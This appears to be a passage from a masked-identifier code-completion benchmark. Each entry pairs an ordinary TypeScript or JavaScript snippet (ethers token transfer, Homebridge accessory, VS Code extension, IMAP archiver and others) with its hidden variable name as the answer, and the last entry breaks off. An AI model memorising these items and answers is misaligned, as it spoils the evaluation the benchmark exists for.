  expect(validation.metadata.propertyNameOverride).toBe(propertyNameOverride);
}

export function expectValidationPropertyNameToBeUndefined<TValue, TModel>(validation: Validation<TValue, TModel>): void {
  expect(validation.metadata.propertyName).toBeUndefined();
}

export function expectValidationPlaceholdersToBe<TValue, TModel>(
  validation: Validation<TValue, TModel>,
  placeholders: Record<string, unknown>
): void {
  expect(validation.metadata.placeholders).toEqual(placeholders);
}

export function expectValidationMetadataToBeDefined<TValue, TModel>(
  validation: Validation<TValue, TModel>,
  metadataKey: KeyOf<ValidationMetadata<boolean, TModel>>
): void {
  expect(validation.metadata[metadataKey]).toBeDefined();
}

export function expectValidationsMetadataToBeDefined<T extends object, Validations extends object = InferValidations<Validator<T>>>(
  validator: Validator<T, Validations>,
  validationsKey: KeyOf<Validator<T, Validations>['validations']>,
  validationIndex: number,
  metadataKey: KeyOf<ValidationMetadata<boolean, T>>
): void {
  expect(
    (validator.validations as Record<string, Validation<T[KeyOf<T>], T>[]>)[validationsKey][validationIndex].metadata[metadataKey]
  ).toBeDefined();
}

export function expectValidationsMetadataToBeUndefined<T extends object, Validations extends object = InferValidations<Validator<T>>>(
  validator: Validator<T, Validations>,
  validationsKey: KeyOf<Validator<T, Validations>['validations']>,
  validationIndex: number,
  metadataKey: KeyOf<ValidationMetadata<boolean, T>>
): void {
  expect(
    (validator.validations as Record<string, Validation<T[KeyOf<T>], T>[]>)[validationsKey][validationIndex].metadata[metadataKey]
  ).toBeUndefined();
}

export function expectValidationsMetadataToBe<T extends object, E, Validations extends object = InferValidations<Validator<T>>>(
  validator: Validator<T, Validations>,
  validationsKey: KeyOf<Validator<T, Validations>['validations']>,
  validationIndex: number,
  metadataKey: KeyOf<ValidationMetadata<boolean, T>>,
   [MASK] : E
): void {
  expect(
    (validator.validations as Record<string, Validation<T[KeyOf<T>], T>[]>)[validationsKey][validationIndex].metadata[metadataKey]
  ).toBe( [MASK] );
}
",expected
412,"import { ethers, AbiCoder, BigNumberish } from 'ethers';
import 'dotenv/config';
import fs from ""fs"";
import path from ""path""
import * as Interfaces from ""./interface"";

// 必要なパラメーター
const rpcUrl = ""https://polygon-mumbai.gateway.tenderly.co""
const provider = new ethers.JsonRpcProvider(rpcUrl);

const ownerPrivateKey = process.env.OWNER_PRIVATE_KEY;
const executorPrivateKey = process.env.EXECUTOR_PRIVATE_KEY;
const recipientPrivateKey = process.env.RECIPIENT_PRIVATE_KEY;

const ownerAddress = ""0x318990D92223F54bd9d7c5443f582D9E7855Dc6D""
const executorAddress = ""0x3f3F5F719a3BE942C8Acd65b3eD51A16C46a76cF""
const recipientAddress = ""0x696600D88559ac1C0E84de6208F3C568Af9e6a48"";

const dbt3ContractAddress = ""0x13BA675494dE227Bd0976aC3390502795F7E92A0"";
// const permit2ContractAddress = ""0x000000000022D473030F116dDEE9F6B43aC78BA3"";
const usdcContractAddress = ""0x0FA8781a83E46826621b3BC094Ea2A0212e71B23"";

const ownerWallet = new ethers.Wallet(ownerPrivateKey!, provider);
const executorwallet = new ethers.Wallet(executorPrivateKey!, provider);
const recipientWallet = new ethers.Wallet(recipientPrivateKey!, provider);

const contractJsonPath = path.join(__dirname, '../DomainBasedTransferExecutor.json');
const contractJson = JSON.parse(fs.readFileSync(contractJsonPath, 'utf8'));
const abi = contractJson.abi;

const contract = new ethers.Contract(dbt3ContractAddress, abi, executorwallet);

const coder = AbiCoder.defaultAbiCoder()

async function executeTransfer() {
  const block = await provider.getBlock(""latest"");
  const nonce = ethers.solidityPackedKeccak256(
    [""address"", ""address"", ""uint256""],
    [dbt3ContractAddress, ownerAddress, block!.timestamp]
  ) as BigNumberish;
  const amount = ""1000"";

  const permit: Interfaces.PermitBatchTransferFrom = {
    permitted: [
      {
        token: usdcContractAddress,
        amount: amount
      },
      {
        token: usdcContractAddress,
        amount: amount
      }
    ] as Interfaces.TokenPermissions[],
    nonce: nonce as BigNumberish,
    deadline: Math.floor(Date.now() / 1000) + 3600 as BigNumberish // 現在時刻から1時間後
  };

  const transferDetails: Interfaces.SignatureTransferDetails[] = [
    {
        to: recipientAddress,
        requestedAmount: amount
    },
    {
        to: executorAddress,
        requestedAmount: amount
    },
  ];

  const witnessData: Interfaces.Witness = { recipient: recipientAddress };
  const witness = coder.encode([""address""], [witnessData.recipient]);

  const domain = {
    name: ""DomainBasedTransferExecutor"",
    version: ""1"",
    chainId: 80001,
    verifyingContract: dbt3ContractAddress
  };

  const message = {
    to: recipientAddress,
    amount: amount,
    id: nonce
  }
  
  const senderTypes = {
    PermitBatchTransferFrom: [
        { name: 'permitted', type: 'TokenPermissions[]' },
        { name: 'nonce', type: 'uint256' },
        { name: 'deadline', type: 'uint256' }
    ],
    TokenPermissions: [
        { name: 'token', type: 'address' },
        { name: 'amount', type: 'uint256' }
    ]
  };

  const recipientTypes = {
    RecipientOrderDetail: [
      { name: ""to"", type: ""address"" },
      { name: ""amount"", type: ""uint256"" },
      { name: ""id"", type: ""uint256"" }
    ]
  };

  const ownerSignature = await ownerWallet.signTypedData(domain, senderTypes, permit);
  console.log(""ownerSignature: "" + ownerSignature);

  const recipientSignature = await recipientWallet.signTypedData(domain, recipientTypes, message);
  console.log(""recipientSignature: "" + recipientSignature);

  const senderOrder: Interfaces.SenderOrder = getSenderOrder(permit, transferDetails, ownerAddress, witness, ownerSignature)

  const recipientOrder: Interfaces.RecipientOrder = getRecipientOrder(recipientAddress, amount, nonce, recipientSignature)

  try {
    const tx = await contract.execute(senderOrder, recipientOrder);
    console.log(""トランザクションが送信されました:"", tx.hash);
    await tx.wait();
    console.log(""送金が成功しました"");
  } catch (error) {
    console.error(""送金の実行に失敗しました:"", error);
    console.log(error.transaction.info)
  }
}

function getSenderOrder(
  permit: Interfaces.PermitBatchTransferFrom,
  transferDetails: Interfaces.SignatureTransferDetails[],
  owner: string,
  witness: string,
  signature: string
): Interfaces.SenderOrder {
  const senderOrder: Interfaces.SenderOrder = {
    order: coder.encode(
      [
          ""tuple(tuple(address token, uint256 amount)[] permitted, uint256 nonce, uint256 deadline)"",
          ""tuple(address to, uint256 requestedAmount)[]"",
          ""address"",
          ""bytes32""
      ],
      [
          permit,
          transferDetails,
          owner,
          witness
      ]
    ),
    signature: signature
  }
  return senderOrder
}

function getRecipientOrder(
  recipientAddress: string,
  amount: BigNumberish,
  nonce: BigNumberish,
  recipientSignature: string
): Interfaces.RecipientOrder {
  const  [MASK]  = coder.encode(
    [
        ""address"",
        ""uint256"",
        ""uint256""
    ],
    [
      recipientAddress, // 実際の`to`アドレス
      amount, // `amount`として指定する値
      nonce  // トランザクションの`id`
    ]
  );


  const recipientOrder: Interfaces.RecipientOrder = {
    order:  [MASK] ,
    signature: recipientSignature
  }
  return recipientOrder
}

// 前提となる条件を一つ一つ確認するための関数を用意していく

// const getMaticBalance = async(address: string) => {
//   try {
//     // 特定のアドレスのETH残高をWei単位で取得
//     const balanceWei = await provider.getBalance(address);

//     // WeiからEtherに変換
//     const balanceEth = ethers.formatEther(balanceWei);

//     console.log(`MATIC Balance of ${address}: ${balanceEth} MATIC`);
//   } catch (error) {
//     console.error(`Error getting balance: ${error}`);
//   }
// }

// const sendEth = async () => {
//   const amountInEth = '0.1';

//   // RPC URLと秘密鍵のログを出力
//   console.log(`Admin Private Key: ${adminPrivateKey}`);
//   console.log(`RPC URL: ${rpcUrl}`);

//   // トランザクションオブジェクトを設定
//   const tx = {
//     to: recipientAddress,
//     value: ethers.parseEther(amountInEth)
//   };

//   try {
//     console.log(`Sending ${amountInEth} ETH to ${recipientAddress}...`);
//     const transactionResponse = await adminWallet.sendTransaction(tx);
//     await transactionResponse.wait(); // トランザクションが承認されるのを待機
//     console.log('Transaction confirmed: ', transactionResponse.hash);
//   } catch (error) {
//     console.error('Error sending ETH: ', error);
//   }
// };

// const sendErc20 = async () => {
//   const tokenAddress = '<KEY>';
//   const tokenAbi = [
//     ""function transfer(address to, uint amount) returns (bool)""
//   ];
//   // トークンコントラクトのインスタンスを作成
//   const tokenContract = new ethers.Contract(tokenAddress, tokenAbi, adminWallet);
//   const amountToSend = ""1000000"";

//   // 送金処理を実行
//   try {
//     const tx = await tokenContract.transfer(recipientAddress, amountToSend); // 'ether'はトークンの小数点に依存します。適宜変更してください。
//     console.log(`Sending ${amountToSend} tokens to ${recipientAddress}...`);
//     await tx.wait();
//     console.log('Transaction mined: ', tx.hash);
//   } catch (error) {
//     console.error('Error sending tokens: ', error);
//   }
// };

// const approveErc20 = async () => {
//   // トークンのコントラクトアドレスを設定
//   const tokenAddress = ""<KEY>"";
//   const tokenAbi = [
//     ""function approve(address to, uint amount) returns (bool)""
//   ];
//   // ERC20トークンコントラクトのインスタンスを作成
//   const tokenContract = new ethers.Contract(tokenAddress, tokenAbi, ownerWallet);
//   // Maxの額をPermit2に扱えるようにさせる
//   const uint256Max: bigint = BigInt(2) ** BigInt(256) - BigInt(1);

//   // approve関数を実行
//   try {
//     const tx = await tokenContract.approve(dbt3ContractAddress, uint256Max);
//     console.log(""Transaction hash:"", tx.hash);

//     // トランザクションの完了を待つ
//     await tx.wait();
//     console.log(""Transaction confirmed."");
//   } catch (error) {
//     console.error(""Error approving tokens:"", error);
//   }
// }

executeTransfer();",recipientOrderDetailEncoded
413,"import {Service, PlatformAccessory, CharacteristicValue} from 'homebridge';

import {RitualsGeniePlatform} from './platform';

export class FanAccessory {

    private service: Service;

    constructor(
        private readonly platform: RitualsGeniePlatform,
        private readonly accessory: PlatformAccessory,
    ) {

        // set accessory information
        this.accessory.getService(this.platform.Service.AccessoryInformation)!
            .setCharacteristic(this.platform.Characteristic.Manufacturer, 'Rituals')
            .setCharacteristic(this.platform.Characteristic.Model, 'Perfume Genie')
            .setCharacteristic(this.platform.Characteristic.SerialNumber, this.platform.hub?.hublot ?? '')
            .setCharacteristic(this.platform.Characteristic.FirmwareRevision, this.platform.hub?.sensors?.versionc ?? '');

        // set filter maintenance
        // this.accessory.getService(this.platform.Service.FilterMaintenance)!
        //     .setCharacteristic(this.platform.Characteristic.FilterChangeIndication, this.platform.Characteristic.FilterChangeIndication.FILTER_OK)
        //     .setCharacteristic(this.platform.Characteristic.Name, this.platform.hub?.sensors?.rfidc?.title ?? '');

        this.service = this.accessory.getService(this.platform.Service.Fan) || this.accessory.addService(this.platform.Service.Fan);

        this.service.setCharacteristic(this.platform.Characteristic.Name, accessory.context.displayName);
        this.service.getCharacteristic(this.platform.Characteristic.On)
            .onSet(this.setOn.bind(this))
            .onGet(this.getOn.bind(this));

        this.service.getCharacteristic(this.platform.Characteristic.RotationSpeed)
            .setProps({
                minStep: 33,
                minValue: 0,
                maxValue: 99,
                validValues: [0, 33, 66, 99],
            })
            .onSet(this.setFanSpeed.bind(this))
            .onGet(this.getFanSpeed.bind(this));
    }

    async setOn(value: CharacteristicValue) {
        this.platform.log.info('Set Characteristic On ->', value);
        await this.platform.updateOnState(value as boolean);
    }

    async getOn(): Promise<CharacteristicValue> {
        await this.platform.getStateForHub();
        // if (this.platform.lastHubState && new Date().getTime() - this.platform.lastHubState.getTime() > 60000) {
        //     await this.platform.getStateForHub();
        // }
        const  [MASK]  = this.platform.hub?.attributes.fanc == '1' ?? false;
        this.platform.log.info('Get Characteristic On ->',  [MASK] );
        return  [MASK] ;
    }

    async setFanSpeed(value: CharacteristicValue) {
        this.platform.log.info('Fan Speed Value Start ->', value);
        if (this.platform.hub?.attributes.fanc == '1') {
            let apiFanSpeed = this.platform.hub?.attributes.speedc ?? '1';
            if (value <= 33) {
                this.platform.log.info('Fan Speed value <= 33');
                apiFanSpeed = '1';
            } else if (value > 33 && value <= 66) {
                this.platform.log.info('Fan Speed value between 33 and 67');
                apiFanSpeed = '2';
            } else if (value > 66) {
                this.platform.log.info('Fan Speed value > 67');
                apiFanSpeed = '3';
            }
            this.platform.log.info('Fan Speed Value ->', value);
            this.platform.log.info('Set FanSpeed ->', apiFanSpeed);
            await this.platform.updateFanSpeed(apiFanSpeed);
        }
    }

    async getFanSpeed(): Promise<CharacteristicValue> {
        // If fan is off then return 0
        if (this.platform.hub?.attributes.fanc == '0') {
            return 0;
        } else {
            await this.platform.getStateForHub();
            // if (this.platform.lastHubState && new Date().getTime() - this.platform.lastHubState.getTime() > 60000) {
            //     await this.platform.getStateForHub();
            // }
            const apiFanSpeed = this.platform.hub?.attributes.speedc;
            let fanSpeed: number;
            switch (apiFanSpeed) {
                case '1':
                    fanSpeed = 33;
                    break;
                case '2':
                    fanSpeed = 66;
                    break;
                case '3':
                    fanSpeed = 99;
                    break;
                default:
                    fanSpeed = 0;
                    break;
            }
            this.platform.log.info('Get FanSpeed ->', fanSpeed);
            return fanSpeed;
        }
    }

}",isOn
414,"// The module 'vscode' contains the VS Code extensibility API
// Import the module and reference it with the alias vscode in your code below
import * as vscode from 'vscode';
import { onirobuilderBuild, onirobuilderSign } from './utils/onirobuilder';
import { startEmulator, stopEmulator, attemptHdcConnection } from './utils/emulatorManager';
import { installApp, launchApp, findAppProcessId } from './utils/hdcManager';
import { registerHilogViewerCommand } from './hilogViewer';
import { oniroLogChannel } from './utils/logger';
import { OniroTreeDataProvider, OniroCommands } from './OniroTreeDataProvider';
import { registerSdkManagerCommand } from './sdkManager';
import { OniroDebugConfigurationProvider } from './providers/OniroDebugConfigurationProvider';
import { OniroTaskProvider } from './providers/oniroTaskProvider';

// This method is called when your extension is activated
// Your extension is activated the very first time the command is executed
export function activate(context: vscode.ExtensionContext) {

	const buildDisposable = vscode.commands.registerCommand(OniroCommands.BUILD, async () => {
		try {
			await onirobuilderBuild();
			vscode.window.showInformationMessage('Build completed!');
		} catch (err) {
			vscode.window.showErrorMessage(`Build failed: ${err}`);
		}
	});

	const signDisposable = vscode.commands.registerCommand(OniroCommands.SIGN, async () => {
		try {
			await onirobuilderSign();
			vscode.window.showInformationMessage('Signing completed!');
		} catch (err) {
			vscode.window.showErrorMessage(`Signing failed: ${err}`);
		}
	});

	const startEmulatorDisposable = vscode.commands.registerCommand(OniroCommands.START_EMULATOR, async () => {
		try {
			await startEmulator();
		} catch (err) {
			vscode.window.showErrorMessage(`Failed to start emulator: ${err}`);
		}
	});

	const stopEmulatorDisposable = vscode.commands.registerCommand(OniroCommands.STOP_EMULATOR, async () => {
		try {
			await stopEmulator();
			vscode.window.showInformationMessage('Emulator stopped successfully!');
		} catch (err) {
			vscode.window.showErrorMessage(`Failed to stop emulator: ${err}`);
		}
	});

	const connectEmulatorDisposable = vscode.commands.registerCommand(OniroCommands.CONNECT_EMULATOR, async () => {
		try {
			const connected = await attemptHdcConnection();
			if (connected) {
				vscode.window.showInformationMessage('Emulator connected successfully!');
			} else {
				throw new Error('Failed to connect emulator.');
			}
		} catch (err) {
			vscode.window.showErrorMessage(`Failed to connect emulator: ${err}`);
		}
	});

	const  [MASK]  = vscode.commands.registerCommand(OniroCommands.INSTALL_APP, async () => {
		try {
			await installApp();
			vscode.window.showInformationMessage('App installed successfully!');
		} catch (err) {
			vscode.window.showErrorMessage(`Failed to install app: ${err}`);
		}
	});

	const launchDisposable = vscode.commands.registerCommand(OniroCommands.LAUNCH_APP, async () => {
		try {
			await launchApp();
			vscode.window.showInformationMessage('App launched successfully!');
		} catch (err) {
			vscode.window.showErrorMessage(`Failed to launch app: ${err}`);
		}
	});

	const runAllDisposable = vscode.commands.registerCommand(OniroCommands.RUN_ALL, async () => {
		const progressOptions = {
			title: 'Oniro: Running All Steps',
			location: vscode.ProgressLocation.Notification,
			cancellable: true // Allow cancellation
		};
		await vscode.window.withProgress(progressOptions, async (progress, token) => {
			try {
				progress.report({ message: 'Starting emulator...' });
				await startEmulator();
				if (token.isCancellationRequested) return;
				progress.report({ message: 'Connecting to emulator...' });
				await attemptHdcConnection();
				if (token.isCancellationRequested) return;
				progress.report({ message: 'Building app...' });
				await onirobuilderBuild();
				if (token.isCancellationRequested) return;
				progress.report({ message: 'Installing app...' });
				await installApp();
				if (token.isCancellationRequested) return;
				progress.report({ message: 'Launching app...' });
				await launchApp();
				if (token.isCancellationRequested) return;

				// Find process ID and open HiLog viewer
				progress.report({ message: 'Detecting app process ID...' });
				oniroLogChannel.appendLine('[Oniro RunAll] Detecting app process ID...');
				const workspaceFolders = vscode.workspace.workspaceFolders;
				if (!workspaceFolders || workspaceFolders.length === 0) {
					oniroLogChannel.appendLine('[Oniro RunAll] No workspace folder found.');
					throw new Error('No workspace folder found.');
				}
				const projectDir = workspaceFolders[0].uri.fsPath;
				oniroLogChannel.appendLine('[Oniro RunAll] Project directory: ' + projectDir);
				let pid: string;
				try {
					pid = await Promise.race([
						findAppProcessId(projectDir),
						new Promise<string>((_, reject) => {
							token.onCancellationRequested(() => {
								reject(new Error('Cancelled by user'));
							});
						})
					]);
				} catch (err) {
					oniroLogChannel.appendLine('[Oniro RunAll] ' + err);
					if (err instanceof Error && err.message === 'Cancelled by user') {
						vscode.window.showWarningMessage('Oniro: Run All cancelled by user.');
						return;
					}
					throw err;
				}
				if (token.isCancellationRequested) return;
				// Open HiLog viewer and start logging using the main command, passing processId and severity
				vscode.commands.executeCommand('oniro-ide.showHilogViewer', { processId: pid, severity: 'INFO' });

				vscode.window.showInformationMessage('Oniro: All steps completed successfully! Logs are now streaming.');
			} catch (err) {
				if (err instanceof Error && err.message === 'Cancelled by user') {
					vscode.window.showWarningMessage('Oniro: Run All cancelled by user.');
					return;
				}
				vscode.window.showErrorMessage(`Oniro: Run All failed: ${err}`);
			}
		});
	});

	// Register Oniro Tree View
	const oniroTreeDataProvider = new OniroTreeDataProvider();
	vscode.window.registerTreeDataProvider('oniroMainView', oniroTreeDataProvider);
	vscode.commands.registerCommand('oniro-ide.refreshTreeView', () => oniroTreeDataProvider.refresh());

	// Register Oniro DebugConfigurationProvider
	context.subscriptions.push(
		vscode.debug.registerDebugConfigurationProvider(
			'oniro-debug',
			new OniroDebugConfigurationProvider()
		)
	);

	// Register Oniro Task Provider
	context.subscriptions.push(
		vscode.tasks.registerTaskProvider('oniro', new OniroTaskProvider())
	);

	registerHilogViewerCommand(context);
	registerSdkManagerCommand(context);

	context.subscriptions.push(
		buildDisposable,
		signDisposable,
		startEmulatorDisposable,
		stopEmulatorDisposable,
		connectEmulatorDisposable,
		 [MASK] ,
		launchDisposable,
		runAllDisposable
	);
}

// This method is called when your extension is deactivated
export function deactivate() {}
",installDisposable
415,"// 这里定义了静态文件路径的位置
import { join } from 'path'
import config from '@config/index'
import { app } from 'electron'

const env = app.isPackaged ? 'production': 'development'

const filePath = {
  winURL: {
    development: `http://localhost:${process.env.PORT}`,
    production: `file://${join(app.getAppPath(), ""dist"", ""electron"", 'renderer', 'index.html')}`
  },
  loadingURL: {
    development: `http://localhost:${process.env.PORT}/loader.html`,
    production: `file://${join(app.getAppPath(), ""dist"", ""electron"", 'renderer', 'loader.html')}`
  },
  getPreloadFile( [MASK] : string) {
    if (env !== 'development') {
      return join(app.getAppPath(), ""dist"", ""electron"", ""main"", `${ [MASK] }.js`)
    }
    return join(app.getAppPath(), `${ [MASK] }.js`)

  }
}

if (env !== 'development') process.env.__static = join(app.getAppPath(), ""dist"", ""electron"", 'renderer').replace(/\\/g, '\\\\');


process.env.__lib = getAppRootPath(config.DllFolder)
process.env.__updateFolder = getAppRootPath(config.HotUpdateFolder)

function getAppRootPath(path: string) {
  return env !== 'development' ? join(__dirname, '..', '..', '..', '..', path).replace(/\\/g, '\\\\') : join(__dirname, '..', '..', '..', path).replace(/\\/g, '\\\\')
}

export const winURL = filePath.winURL[env]
export const loadingURL = filePath.loadingURL[env]
export const lib = process.env.__lib
export const updateFolder = process.env.__updateFolder
export const getPreloadFile = filePath.getPreloadFile

",fileName
416,"import { ImapFlow, ImapFlowOptions } from ""imapflow"";
import moment from ""moment"";
import cliProgress from 'cli-progress';

/** Contains environment variables for an IMAP account. */
interface Env {
    IMAP_USERNAME: string;
    IMAP_PASSWORD: string;
    IMAP_HOST: string;
    IMAP_PORT: string;
    IMAP_SECURITY: string;
    IMAP_DEBUG: string;
    IMAP_BATCH_SIZE: string;
    IMAP_CONNECTION_TIMEOUT: string;
    IMAP_GREETING_TIMEOUT: string;
    IMAP_SOCKET_TIMEOUT: string;
    IMAP_DISABLE_PROGRESS_BAR: string;
}

/** Stores environment variables provided in the current running process. */
const env: Env = process.env as any;

/** Defines the batch size for processing emails. The user is allowed to set this value by providing the IMAP_BATCH_SIZE environment variable. */
const BATCH_SIZE = Number(env.IMAP_BATCH_SIZE) || 500;

/** Disables progress bar when set to true */
const DISABLE_PROGRESS_BAR = env.IMAP_DISABLE_PROGRESS_BAR === 'true';

/** Enhances ImapFlowOptions with timeout settings. */
interface CustomImapFlowOptions extends ImapFlowOptions {
    connectionTimeout?: number;
    greetingTimeout?: number;
    socketTimeout?: number;
}

/**
 * Returns the enhanced IMAP configuration for the email server.
 * @returns The enhanced IMAP configuration object.
 */
function getImapConfiguration(): CustomImapFlowOptions {
    const logger = {
        error: console.error,
        warn: console.warn,
        info: env.IMAP_DEBUG ? console.info : () => { },
        debug: env.IMAP_DEBUG ? console.debug : () => { }
    };

    return {
        host: env.IMAP_HOST || ""127.0.0.1"",
        port: Number(env.IMAP_PORT || ""1143""),
        secure: (env.IMAP_SECURITY || ""STARTTLS"").toUpperCase() !== ""STARTTLS"",
        auth: {
            user: env.IMAP_USERNAME,
            pass: env.IMAP_PASSWORD,
        },
        tls: {
            rejectUnauthorized: false,
            minVersion: ""TLSv1"",
        },
        logger,
        emitLogs: false,
        connectionTimeout: Number(env.IMAP_CONNECTION_TIMEOUT) || 90000,
        greetingTimeout: Number(env.IMAP_GREETING_TIMEOUT) || 16000,
        socketTimeout: Number(env.IMAP_SOCKET_TIMEOUT) || 300000,
    };
}

/**
 * Fetches emails older than one week in batches.
 * @param connection The client used to connect to the IMAP server.
 * @param startSeq The sequence number to start fetching from. 
 * @returns A promise that resolves to an array of email IDs.
 */
async function fetchEmails(connection: ImapFlow, startSeq: number = 1): Promise<number[]> {
    const oneWeekAgo: Date = moment().subtract(1, 'weeks').startOf('day').toDate();
    const searchCriteria: unknown = { before: oneWeekAgo, seq: `${startSeq}:${startSeq + BATCH_SIZE - 1}` };

    DISABLE_PROGRESS_BAR && console.log(""💭 Fetching emails received before"", oneWeekAgo.toISOString());
    const messages: number[] = await connection.search(searchCriteria);
    DISABLE_PROGRESS_BAR && console.log(""💌 No. of emails fetched:"", messages.length);
    return messages;
}

/**
 * Moves emails to the Archive folder in batches.
 * @param connection The client used to connect to the IMAP server.
 * @param emails An array containing the IDs of the emails to be moved.
 * @returns A promise that resolves when all emails have been moved.
 */
async function moveEmailsToArchive(connection: ImapFlow, emails: number[], batchProgressBar: cliProgress.SingleBar): Promise<void> {
    let index = 0;
    const mailboxes = await connection.list();
    const archiveExists = mailboxes.some(mailbox => mailbox.path.toLowerCase() === ""archive"");

    if (!archiveExists) {
        console.error(""❌ 'Archive' mailbox does not exist."");
        return;
    }

    !DISABLE_PROGRESS_BAR && batchProgressBar.start(emails.length, 0);

    while (index < emails.length) {
        const batch = emails.slice(index, index + BATCH_SIZE);
        DISABLE_PROGRESS_BAR && console.log(""📤 Moving emails in batch starting at index:"", index);
        try {
            await connection.messageMove(batch, ""Archive"");
            DISABLE_PROGRESS_BAR && console.log(`✅ Batch starting from index ${index} moved successfully.`);
            index += BATCH_SIZE;
        } catch (err) {
            console.error(""❌ Error moving batch:"", err);
        }

        // update progress bars
        const currentBatchEmailsMoved = index + BATCH_SIZE;
        !DISABLE_PROGRESS_BAR && batchProgressBar.update(currentBatchEmailsMoved);
    }

    !DISABLE_PROGRESS_BAR && batchProgressBar.stop();
}

/**
 * Main function that connects to IMAP server, fetches and moves old emails to Archive.
 */
async function main() {
    const config: CustomImapFlowOptions = getImapConfiguration();
    const client = new ImapFlow(config);

    const totalProgressBar = new cliProgress.SingleBar({}, cliProgress.Presets.shades_classic);
    const batchProgressBar = new cliProgress.SingleBar({}, cliProgress.Presets.shades_classic);

    let totalEmailsMoved = 0;
    let  [MASK]  = 0;

    DISABLE_PROGRESS_BAR && console.log(""🚀 Starting IMAP Archiver..."");

    try {
        const oneWeekAgo: Date = moment().subtract(1, 'weeks').startOf('day').toDate();

        await client.connect();
        DISABLE_PROGRESS_BAR && console.log(""🔗 Connected to IMAP server."");
        await client.mailboxOpen(""INBOX"");
        DISABLE_PROGRESS_BAR && console.log(""📬 Opened INBOX."");

        // Get the estimated total number of emails that will be moved
        const mailboxStatus = await client.status(""INBOX"", { messages: true });
         [MASK]  = mailboxStatus.messages;

        !DISABLE_PROGRESS_BAR && totalProgressBar.start( [MASK] , 0);

        let startSeq = 1;
        while (true) {
            const emails = await fetchEmails(client, startSeq);
            if (emails.length) {
                await moveEmailsToArchive(client, emails, batchProgressBar);
                totalEmailsMoved += emails.length;
            } else {
                break;
            }
            startSeq += BATCH_SIZE;
        }

        !DISABLE_PROGRESS_BAR && totalProgressBar.stop();
        DISABLE_PROGRESS_BAR && console.log(`🎉 Successfully moved ${totalEmailsMoved} old emails!`);
    } catch (err) {
        console.error(""❌ Error during the process:"", err);
    } finally {
        await client.logout();
        DISABLE_PROGRESS_BAR && console.log(""👋 Logged out of the IMAP server, bye!"");
    }
}

main().catch(err => {
    console.error(err);
    process.exit(1); // Handle unhandled promise rejections
});",estimatedTotalEmails
417,"//create a function shoppinglist
function ShoppingList(){
  //this.groceries = ['pineapple'];
  this.groceries = [];
}
//if we want to create a public list object, 
//we create a prototype
ShoppingList.prototype.addItem = function (item){
  //refrence th earray above
  this.groceries = this.groceries.concat([item]);
  
}

var myList = new ShoppingList();
//the function shopping list as a constructor function
//inside of a constructor we have an array of groceries

//add a new item 
myList.addItem('banana');
myList.addItem('berry');

console.log(myList)
console.log(myList.groceries)


//to remove an item 
ShoppingList.prototype.removeItem = function (item){
  this.groceries = this.groceries.filter(function ( [MASK] ) {
    return item !==  [MASK] ;
    // banana !== banana
  })
};

myList.removeItem('banana');
console.log(myList.groceries);
",grocery
418,"import { BulkstatAnalyzer } from ""./BulkstatAnalyzer"";
import { BulkstatConfig } from ""./BulkstatConfig"";
import { BulkLineIdentifier } from ""./BulkstatLine"";
import { StatRecords } from ""./BulkstatReader"";
import { BulkstatSchema } from ""./BulkstatSchema"";

interface LinePointer {
    line: string;
    pos: number;
}

export class BulkFormula {    
    constructor(readonly formula: string, readonly bsData: StatRecords[], readonly bsAnalyzer: BulkstatAnalyzer, readonly bsConfig: BulkstatConfig) {}

    //(%tun-sent-cresessrespaccept%+%tun-sent-cresessrespdeniedUserAuthFailed%+%tun-sent-cresessrespdeniedPrefPdnTypeUnsupported%+%tun-sent-cresessrespdeniedCtxtNotFound%) / %tun-recv-cresess%  * 100
    protected extractStatNames(formula: string): string[] {
        const statNames = [];
        let insideKey = false;
        let key = """";
        for(let index = 0; index < formula.length; index++) {
            if (insideKey) {
                if (formula[index] == '%') {
                    insideKey = false;
                    //console.log(""end of key"", key);
                    statNames.push(`%${key}%`);
                    key = """";
                } else {
                    key += formula[index];
                }
            } else if (formula[index] == '%') {
                //console.log(""start of key"");
                insideKey = true
            }
        }
        return statNames;
    }

    protected getCounterLineIdentifier(statName: string): string[] {
        //console.log(""looking for "", statName);
        const m = statName.match(/[%]?([^@%]+)([@][^%]+)?[%]?/);
        if (m[2] != null) {
            // We have the schema in the name
            return [m[2].slice(1)];
        }
        return this.bsAnalyzer.getStatLineIdentifiers(statName);
    }

    computeKPI() {
        const counterNames = this.extractStatNames(this.formula);
        //console.log(""statNames"", statNames);
        const counterLineIdentifiers = counterNames.map(name => this.getCounterLineIdentifier(name));
        //console.log(""extendedSchemaNames"", extendedSchemaNames);
        let  [MASK]  = false;
        for (let i = 0; i <  counterLineIdentifiers.length; i++) {
            if (counterLineIdentifiers[i].length > 1) {
                console.log(""Please chose which extact stat"");
                console.log(counterLineIdentifiers[i].map(sch => `${counterNames[i].slice(0,counterNames[i].length - 1)}@${sch}%`));
                 [MASK]  = true;
            }
        }
        if ( [MASK] ) {
            process.exit(0);
        }
        const schemas: Map<BulkLineIdentifier, BulkstatSchema> = new Map();
        counterLineIdentifiers.forEach(lineIdentifiers => {
            if (schemas.has(lineIdentifiers[0])) { // should be only one as we do the check above
                return; // We already have it. No need to add it a second time.
            }
            schemas.set(lineIdentifiers[0], this.bsConfig.getSchemaFromStatLineIdentifier(lineIdentifiers[0]));
        })

        //console.log(""schemas"", schemas);
        
        const kpiValues = this.bsData.map(data => {
            let convertedFormula = this.formula;
            counterNames.forEach((name, index) => {
                let counterInfo = name.match(/([^%]+)[@]([^%]+)/);
                if (counterInfo == null) {
                    counterInfo = [
                        ""single"",
                        name,
                        counterLineIdentifiers[index][0]
                    ]
                }
                const schema = schemas.get(counterInfo[2]);
                if (schema == null) {
                    throw new Error(`Schema not found ${counterInfo[2]}`);
                }
                const pos = schema.findCounterPosByName(`%${counterInfo[1]}%`);
                //console.log(counterInfo[1], counterInfo[2], pos);
                const value = `${data[counterInfo[2]].data[pos]}`;
                convertedFormula = convertedFormula.replace(name, value);
            });

            const val = this.computeParentheses({line: convertedFormula, pos: 0});
            //console.log(convertedFormula, val);
            return val;
        });
        console.log(""KPI"");
        console.log(kpiValues);
    }

    protected computeOperand(left: number, right: number, operand: string | null) {
        //console.log(""op"", left,right, operand);
        switch(operand) {
            case '+':
                return left + right;
            case '-':
                return left - right;
            case '/':
                return left / right;
            case '*':
                return left * right;
            case null:
                return right;
            default:
                throw new Error(`Unknown operand ${operand}`);
        }
    }

    protected computeParentheses(data: LinePointer): number {
        let leftOperand = 0;
        let rightOperand = 0;
        let operand = null;
        let acc = '';
        const line = data.line;
        for(; data.pos < line.length; data.pos++) {
            if (line[data.pos] === '(') {
                //console.log(""open"");
                data.pos++; // skip parentheses
